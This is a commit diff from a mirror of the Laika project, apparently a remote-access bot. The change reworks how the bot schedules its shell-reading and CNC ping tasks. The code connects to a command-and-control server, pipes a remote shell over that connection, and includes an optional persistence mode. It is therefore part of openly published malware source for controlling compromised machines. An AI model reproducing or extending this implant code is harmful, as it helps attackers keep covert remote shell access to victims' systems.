mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-11 18:30:08 +00:00
Bot: Only run shell task when shell is open
- since the shell task is only ran when the shell is open, i decreased the delta to 50ms. this should improve latancy while improving performance for 99% of the time. yay!
This commit is contained in:
@@ -58,8 +58,6 @@ struct sLaika_bot *laikaB_newBot(void) {
|
||||
char *tempINBuf;
|
||||
size_t _unused;
|
||||
|
||||
bot->shell = NULL;
|
||||
|
||||
laikaP_initPList(&bot->pList);
|
||||
bot->peer = laikaS_newPeer(
|
||||
laikaB_pktTbl,
|
||||
@@ -69,6 +67,12 @@ struct sLaika_bot *laikaB_newBot(void) {
|
||||
(void*)bot
|
||||
);
|
||||
|
||||
laikaT_initTaskService(&bot->tService);
|
||||
laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void*)bot);
|
||||
|
||||
bot->shell = NULL;
|
||||
bot->shellTask = NULL;
|
||||
|
||||
/* generate keypair */
|
||||
if (sodium_init() < 0) {
|
||||
laikaB_freeBot(bot);
|
||||
@@ -112,6 +116,7 @@ void laikaB_freeBot(struct sLaika_bot *bot) {
|
||||
|
||||
laikaP_cleanPList(&bot->pList);
|
||||
laikaS_freePeer(bot->peer);
|
||||
laikaT_cleanTaskService(&bot->tService);
|
||||
|
||||
/* clear shell */
|
||||
if (bot->shell)
|
||||
@@ -145,16 +150,19 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
|
||||
LAIKA_ERROR("failed to gen session key!\n");
|
||||
}
|
||||
|
||||
bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
|
||||
bool laikaB_poll(struct sLaika_bot *bot) {
|
||||
struct sLaika_pollEvent *evnt;
|
||||
int numEvents;
|
||||
|
||||
/* flush any events prior (eg. made by a task) */
|
||||
laikaP_flushOutQueue(&bot->pList);
|
||||
evnt = laikaP_poll(&bot->pList, timeout, &numEvents);
|
||||
evnt = laikaP_poll(&bot->pList, laikaT_timeTillTask(&bot->tService), &numEvents);
|
||||
|
||||
if (numEvents == 0) /* no events? timeout was reached */
|
||||
/* no events? timeout was reached */
|
||||
if (numEvents == 0) {
|
||||
laikaT_pollTasks(&bot->tService);
|
||||
return false;
|
||||
}
|
||||
|
||||
laikaP_handleEvent(evnt);
|
||||
|
||||
|
@@ -7,15 +7,6 @@
|
||||
#include "shell.h"
|
||||
#include "persist.h"
|
||||
|
||||
struct sLaika_taskService tService;
|
||||
|
||||
void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
|
||||
if (bot->shell)
|
||||
laikaB_readShell(bot, bot->shell);
|
||||
}
|
||||
|
||||
int main(int argv, char *argc[]) {
|
||||
struct sLaika_bot *bot;
|
||||
|
||||
@@ -27,25 +18,17 @@ int main(int argv, char *argc[]) {
|
||||
#endif
|
||||
bot = laikaB_newBot();
|
||||
|
||||
/* init task service */
|
||||
laikaT_initTaskService(&tService);
|
||||
laikaT_newTask(&tService, 100, shellTask, (void*)bot);
|
||||
laikaT_newTask(&tService, 5000, laikaB_pingTask, (void*)bot);
|
||||
|
||||
LAIKA_TRY
|
||||
/* connect to test CNC */
|
||||
laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT);
|
||||
|
||||
/* while connection is still alive, poll bot */
|
||||
while (laikaS_isAlive((&bot->peer->sock))) {
|
||||
if (!laikaB_poll(bot, laikaT_timeTillTask(&tService))) {
|
||||
laikaT_pollTasks(&tService);
|
||||
}
|
||||
laikaB_poll(bot);
|
||||
}
|
||||
LAIKA_TRYEND
|
||||
|
||||
/* bot was killed or it threw an error */
|
||||
laikaT_cleanTaskService(&tService);
|
||||
laikaB_freeBot(bot);
|
||||
#ifdef LAIKA_PERSISTENCE
|
||||
sleep(5);
|
||||
|
@@ -49,4 +49,10 @@ void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
||||
|
||||
/* write to shell */
|
||||
laikaB_writeShell(bot, shell, buf, sz);
|
||||
}
|
||||
|
||||
void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
|
||||
laikaB_readShell(bot, bot->shell);
|
||||
}
|
Reference in New Issue
Block a user